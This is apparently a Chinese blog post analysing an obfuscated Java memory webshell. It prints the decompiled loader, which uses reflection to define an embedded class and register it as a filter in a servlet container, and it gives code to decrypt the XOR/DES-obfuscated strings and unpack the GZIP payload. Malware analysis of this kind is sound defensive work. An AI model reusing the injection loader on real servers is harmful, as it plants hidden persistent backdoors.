obj3 = obj2.getClass().getMethod(m45lllIlIllII(32, 0x35c6ecc757a939dbL ^ 30L), new Class[0]).invoke(obj2, new Object[0]);
}
catch (NoSuchMethodException nosuchmethodexception)
{
Field field4 = obj2.getClass().getDeclaredField(m45lllIlIllII(33, 0x35c6ecc757a939dbL ^ 30L));
field4.setAccessible(true);
obj3 = field4.get(obj2);
}
Field field3 = class4.getDeclaredField(m45lllIlIllII(0x22 & -1, 0x35c6ecc757a939c5L));
field3.setAccessible(true);
ArrayList arraylist = (ArrayList)field3.get(obj3);
ArrayList arraylist1 = (ArrayList)arraylist.clone();
for (int j = 0; j < arraylist1.size(); j++)
{
Object obj4 = arraylist1.get(j);
if (obj4 == null)
continue;
Method method = null;
String s = null;
try
{
method = class3.getMethod(m45lllIlIllII(35, 0x35c6ecc757a939dbL ^ 30L), new Class[0]);
s = (String)method.invoke(obj4, new Object[0]);
}
catch (NoSuchMethodException nosuchmethodexception1) { }
if (method != null && s == null)
continue;
Field field5 = class3.getDeclaredField(m45lllIlIllII(36, 0x35c6ecc757a939dbL ^ 30L));
field5.setAccessible(true);
Object obj5 = field5.get(obj4);
Object obj6 = obj5.getClass().getMethod(m45lllIlIllII(37, 0x35c6ecc757a939dbL ^ 30L), new Class[] {
Integer.TYPE
}).invoke(obj5, new Object[] {
Integer.valueOf(1)
});
Object obj7 = obj6.getClass().getMethod(m45lllIlIllII(0x26 & -1, 0x35c6ecc757a939c5L), new Class[0]).invoke(obj6, new Object[0]);
Class class5 = classloader.loadClass(m45lllIlIllII(0x27 & -1, 0x35c6ecc757a939c5L));
Class class6 = classloader.loadClass(m45lllIlIllII(0x28 & -1, 0x35c6ecc757a939c5L));
Class class7 = classloader.loadClass(m45lllIlIllII(0x29 & -1, 0x35c6ecc757a939c5L));
Class class8 = classloader.loadClass(m45lllIlIllII(0x2a & -1, 0x35c6ecc757a939c5L));
Class class9 = classloader.loadClass(m45lllIlIllII(0x2b & -1, 0x35c6ecc757a939c5L));
Class class10;
Class class11;
try
{
class10 = classloader.loadClass(m45lllIlIllII(0x2c & -1, 0x35c6ecc757a939c5L));
class11 = classloader.loadClass(m45lllIlIllII(45, 0x35c6ecc757a939c5L));
}
catch (ClassNotFoundException classnotfoundexception1)
{
class10 = classloader.loadClass(m45lllIlIllII(46, 0x35c6ecc757a939c5L));
class11 = classloader.loadClass(m45lllIlIllII(47, 0x35c6ecc757a939dbL ^ 30L));
}
byte abyte0[] = m13lllIIlllII(l0AI0AI0AlI0AIll0AlI);
Method method1 = classloader.loadClass(m45lllIlIllII(48, 0x35c6ecc757a939dbL ^ 30L))
.getDeclaredMethod(m45lllIlIllII(0x31 & -1, 0x35c6ecc757a939c5L), new Class[] {
java.lang.String.class, Byte[].class, Integer.TYPE, Integer.TYPE
});
method1.setAccessible(true);
Class class12 = (Class)method1.invoke(classloader, new Object[] {
A0All0Alll0AI0AlllI, abyte0, Integer.valueOf(0), Integer.valueOf(abyte0.length)
});
Object obj8 = class10.newInstance();
Object obj9 = class11.newInstance();
boolean flag1 = false;
try
{
class5.getDeclaredField(m45lllIlIllII(50, 0x35c6ecc757a939dbL ^ 30L));
}
catch (NoSuchFieldException nosuchfieldexception)
{
flag1 = true;
}
if (!flag1)
class10.getMethod(m45lllIlIllII(51, 0x35c6ecc757a939c5L), new Class[] {
class6
}).invoke(obj8, new Object[] {
class12.newInstance()
});
class10.getMethod(m45lllIlIllII(52, 0x35c6ecc757a939dbL ^ 30L), new Class[] {
java.lang.String.class
}).invoke(obj8, new Object[] {
A0All0Alll0AI0AlllI
});
class10.getMethod(m45lllIlIllII(0x35 & -1, 0x35c6ecc757a939c5L), new Class[] {
java.lang.String.class
}).invoke(obj8, new Object[] {
A0All0Alll0AI0AlllI
});
class7.getMethod(m45lllIlIllII(54, 0x35c6ecc757a939dbL ^ 30L), new Class[] {
class10
}).invoke(obj7, new Object[] {
obj8
});
class11.getMethod(m45lllIlIllII(55, 0x35c6ecc757a939c5L), new Class[] {
java.lang.String.class
}).invoke(obj9, new Object[] {
A0All0Alll0AI0AlllI
});
class11.getMethod(m45lllIlIllII(56, 0x35c6ecc757a939dbL ^ 30L), new Class[] {
java.lang.String.class
}).invoke(obj9, new Object[] {
m45lllIlIllII(0x39 & -1, 0x35c6ecc757a939c5L)
});
if (flag1)
{
Field field6 = class7.getDeclaredField(m45lllIlIllII(58, 0x35c6ecc757a939c5L));
field6.setAccessible(true);
Object obj10 = field6.get(obj7);
int k = Array.getLength(obj10);
Object obj13 = Array.newInstance(class11, k + 1);
Array.set(obj13, 0, obj9);
for (int i1 = 0; i1 < k; i1++)
Array.set(obj13, i1 + 1, Array.get(obj10, i1));
field6.set(obj7, obj13);
} else
{
Field field7 = class7.getDeclaredField(m45lllIlIllII(0x3b & -1, 0x35c6ecc757a939c5L));
field7.setAccessible(true);
Object obj11 = field7.get(obj7);
Field field8 = obj11.getClass().getDeclaredField(m45lllIlIllII(60, 0x35c6ecc757a939dbL ^ 30L));
field8.setAccessible(true);
int l = Integer.parseInt(field8.get(obj11).toString());
field8.set(obj11, Integer.valueOf(0));
class7.getMethod(m45lllIlIllII(0x3d & -1, 0x35c6ecc757a939c5L), new Class[] {
class11
}).invoke(obj7, new Object[] {
obj9
});
field8.set(obj11, Integer.valueOf(l + 1));
}
Constructor constructor = class8.getDeclaredConstructor(new Class[] {
class9, class10
});
constructor.setAccessible(true);
Object obj12 = constructor.newInstance(new Object[] {
obj7, obj8
});
Field field9 = null;
Class class13 = class7;
do
{
if (class13 == null)
break;
try
{
field9 = class13.getDeclaredField(m45lllIlIllII(62, 0x35c6ecc757a939dbL ^ 30L));
break;
}
catch (NoSuchFieldException nosuchfieldexception1)
{
class13 = class13.getSuperclass();
}
} while (true);
if (field9 != null)
{
field9.setAccessible(true);
HashMap hashmap = (HashMap)field9.get(obj7);
hashmap.put(A0All0Alll0AI0AlllI, obj12);
}
m10IllllIlIlI(classloader, A0All0Alll0AI0AlllI);
m11IIlIllIIIl(obj6);
flag = true;
break;
}
if (flag)
break;
}
}
i++;
} while (true);
}
catch (Throwable throwable)
{
}
}
}
通过分析 发现这段混淆其实非常简单，总体思路分成两种：
第一种是直接对一些关键字（主要是函数名称）进行加密后硬编码到文件中，如下图：
此时调用过程中只需要将密文作为实参传递至m57IlIIIllIll方法就可以获取到原始有意义的字符串了。
第二种（可以直接看出来如果看不出来使用第一种解密还原密文的硬编码后就可以知道了）则是将一些函数名称及关键字先进行一次DES加密再使用第一种加密方式加密后存储到了一个长度为95的f3IIIllIlIIl数组中，调用时则需要解两次密，使用第一次解密后再使用DES解密密，示例格式如下：
第一种加密分析
既然两次都用到了第一种加密方式那优先分析一下这种加密的代码。通过下图代码可以确认1312行代码就是始于第一种模式的混淆了只调用了m57IlIIIllIll方法。
跟进看一下
得到此处代码后我们大概可以清楚的看到此处进行了异或处理，简单分析我们可以得到一个关键值1753行的m4llIlIlIlII。那么我们进一步分析1753行代码可以发现部分代码没有使用混淆而是使用反射调用的方式如下图：
因此可以得到1753行的代码逻辑
m4llIlIlIlII ->toString
m3lIllIIllIl->append
m2lIIIlIIlll-> getMethodName
m1IIIIlIllll-> getStackTrace
将代码改为便于阅读的版本如下：
此处代码依旧比较简单但，通过分析可以知道m4llIlIlIlII的值有个需要关注的位置，就是m1IIIIlIllll方法，跟进看一下。
此处使用了getStackTrace方法获取了异常或错误发生时的调用栈信息并且选则了脚标为1的返回，然后获取了返回的信息的函数名称，举个例子说明：
Main函数 调用A函数,A函数内调用B函数,B函数又调用了C函数，那么在C函数中使用以下代码进行打印。
try{
Method method = RuntimeException.class.getMethod("getStackTrace", new Class[0]);
method.setAccessible(true);
StackTraceElement[] stackTraceElement=(StackTraceElement[])method.invoke(new RuntimeException(), new Object[0]);
System.out.println("Method Name: " + stackTraceElement[1].getMethodName());
}catch(Exception e){
}
程序运行时Println函数调用打印，因为是栈中的信息，显而易见打印出的会是B 所以可见1753行的m4llIlIlIlII变量的值其实就是为当前函数m57IlIIIllIll的调用函数的名称，我们用1312行的代码举例说明此处逻辑
此处调用m57IlIIIllIll那么此时m57IlIIIllIll函数内的m4llIlIlIlII值应为他的调用函数m46IIlIIIlllI（此名称是反编译工具无法显示原始函数名称给的命名）的原函数名称。
此时需要注意逆向代码的注释内容，就可以知道混淆后的原始函数名称包含了特殊字符，所以被替换了，那原始函数名称其实就是这段包含回车的注释内容，接下来把回行的\n字符变一下8进制则得到如下函数名称“\012II\012l\012I\012I\012Ill\012l\012I”，也就是说实际参与后续异或操作的是\012II\012l\012I\012I\012Ill\012l\012I这个字符串。接下来再看m57IlIIIllIll函数易于阅读的格式图片.
基本这个函数的解密逻辑就非常清楚了，直接调用就可以得到原始的函数名称，编写代码测试
public static void main(String[] args) {
String s11="\012II\012l\012I\012I\012Ill\012l\012I";
String s="C$qNa`\"(1i\"qTrfc\u0005n\u000fE";
int m5lIlllIlIll = s11.length() - 1;
int m5lIlllIlIll2 =s.length() - 1;
char[] cArr = new char[m5lIlllIlIll2 + 1];
while (m5lIlllIlIll2 >= 0) {
cArr[m5lIlllIlIll2] = (char) ('k' ^ s.charAt(m5lIlllIlIll2) ^ s11.charAt( m5lIlllIlIll));
if (m5lIlllIlIll2 - 1 < 0) {
break;
}
cArr[m5lIlllIlIll2 - 1] = (char) ('P' ^ s.charAt(m5lIlllIlIll2) ^ s11.charAt(m5lIlllIlIll));
m5lIlllIlIll--;
if (m5lIlllIlIll < 0) {
m5lIlllIlIll = s11.length() - 1;
}
m5lIlllIlIll2--;
}
System.out.println(new String(cArr));
}
执行结果如下
到这个位置就以把第一种混淆处理调用的整体逻辑分析完成。其中的关键就是使用密文所在的函数原始名称作为了异或计算的关键。
第二种加密分析
在分析第二种加密前需要看一下代码的初始化变量。
其中涉及到两个数组，通过下图不难看出两者的关系
上图处可知f3IIIllIlIIl存储的为使用异或解密后的数据。然后看下图
将上图使用第一种加密的硬编码还原后得到下图：
此时可知f2lIIllIllll存储的为f3IIIllIlIIl解密后的原始字符 且解密模式为DES/CBC/PKCS5Padding。
那么接下来的关键就是分析des的KEY和IV。通过函数可以知道如下信息。
其中m45lllIlIllII调用了m46IIlIIIlllI函数且变量传递过程中未做任何改变。一只需要看一下调用m45lllIlIllII的过程即可。
使用1794行的代码举例分析如下：
可知i=18 j=0x35c6ecc757a939dbL ^ 30L
可知i=19 j=0x35c6ecc757a939dbL ^ 30L
再看1352行函数位置
由1352处代码可知f3IIIllIlIIl数组中所有的密文内容均使用m47llIIlllllI的原始函数名称也就是l\012lI\012I\012l\012lll\012lI做异或解密。代码逻辑依旧简单，解密测试代码如下：
Cipher cipher = Cipher.getInstance("DES/CBC/PKCS5Padding");
SecretKey key1 =null;
long j = 0L;
String st = "";
int m5lIlllIlIll, m5lIlllIlIll2 = 0;
char[] cArr = null;
byte[] bArr2,encryptedData = null;
SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES");
IvParameterSpec ivSpec = new IvParameterSpec(new byte[8]);
String s11 = "l\012lI\012I\012l\012lll\012lI";
String[] s = new String[95];
long[] sj = new long[95];
s[19] = "DN\u0011Mk\fQ&CY2Jb\u000eo\u001bc1Oe\u0016F\u00021XV4H\u0006Oda#(i\u0017w+r\u000f2VM1CLb)N\rJZNRXa0o;eanXb[YZX}'Ti3\u0013`\u001f";
sj[19] = 0x35c6ecc757a939dbL ^ 30L;
for (int i = 0; i < 95; i++) {
if (s[i]==null)continue;
j = sj[i];
st = s[i];
m5lIlllIlIll = s11.length() - 1;
m5lIlllIlIll2 = s[i].length() - 1;
cArr = new char[m5lIlllIlIll2 + 1];
while (m5lIlllIlIll2 >= 0) {
cArr[m5lIlllIlIll2] = (char) ('k' ^ st.charAt(m5lIlllIlIll2) ^ s11.charAt(m5lIlllIlIll));
if (m5lIlllIlIll2 - 1 < 0) {
break;
}
cArr[m5lIlllIlIll2 - 1] = (char) ('P' ^ st.charAt(m5lIlllIlIll2) ^ s11.charAt(m5lIlllIlIll));
m5lIlllIlIll--;
if (m5lIlllIlIll < 0) {
m5lIlllIlIll = s11.length() - 1;
}
m5lIlllIlIll2--;
}
j = (30 ^ j) ^ -364335517158448685L;
bArr2 = new byte[8];
bArr2[0] = (byte) ((int) (j >>> 30));
for (int i2 = 1; i2 < 8; i2++) {
bArr2[i2] = (byte) ((int) (((j << (i2 * 8)) >>> 30) << i));
}
key1 = keyFactory.generateSecret(new SecretKeySpec(bArr2, "DES"));
try {
encryptedData = Base64.getDecoder().decode(new String(cArr));
cipher.init(Cipher.DECRYPT_MODE, key1, ivSpec);
byte[] decryptedData = cipher.doFinal(encryptedData);
System.out.println("Decrypted Data:+"+i+"-- " + new String(decryptedData, "UTF-8"));
} catch (Exception e) {
System.out.println(e.getMessage());
}
}
执行结果：
到这个阶段加密混淆的方式基本分析完毕（使用正则提取后全部存储在map中然后遍历解密—稍后第二个文件会提到），开始关注此类的实际行为。因为此类存在静态初始化块也就是static{},所以优先分析一下其中的初始化内容如下图：
解密1899行的内容48脚标对应方法为
所以可知到此处还没有释放完全，根据代码发现，此处加载的刚好为数组中脚标18的内容处理后的数据
跟进m13lllIIlllII方法查看
发现他调用了内部的函数进行处理，输出查看一下可以知道此处实际的调用的是原函数名称为\012I\012Il\012lllI\012\012ll\012I的函数
也就是m8IIllllIllI方法，此时跟进发现是对数据中脚标18的数据进行了GZIP处理
相同的跟进方式不赘述了,最终下面的数据编写代码解密得到第二个文件。
String str ="H4sIAAAAAAAAANV9B0Bb17n/OedeDYTAFy5gy9......与思路无关省略";
GZIPInputStream gZIPInputStream = new GZIPInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(str)));
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte abyte0[] = new byte[1024];
int length;
while ((length = gZIPInputStream.read(abyte0) )!= -1) {
baos.write(abyte0, 0, length);
}
byte[] data = baos.toByteArray();
try (FileOutputStream fos = new FileOutputStream("F:\\2.class")) {
fos.write(data);
}
此处位置可以得到第三个文件也就是2.class
三、释放出的第三个文件
可能由于篇幅问题，编辑起来异常的卡…接下来关于第三个文件（也就是真正添加过滤器的位置）部分只能等明天再开一个文章整理了。这个内存马总体还是非常简单的，并没有什么太复杂的东西在里面。（本项目仅用作学习交流使用，本人一概不负任何责任）
（由于最近一直在忙着比赛,这篇也是只能利用晚上的时间稍作整理，所以总体写的太啰嗦了，还请见谅吧…等后期有空闲的时间会再重新梳理精简一下的。）
扫一扫
699
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
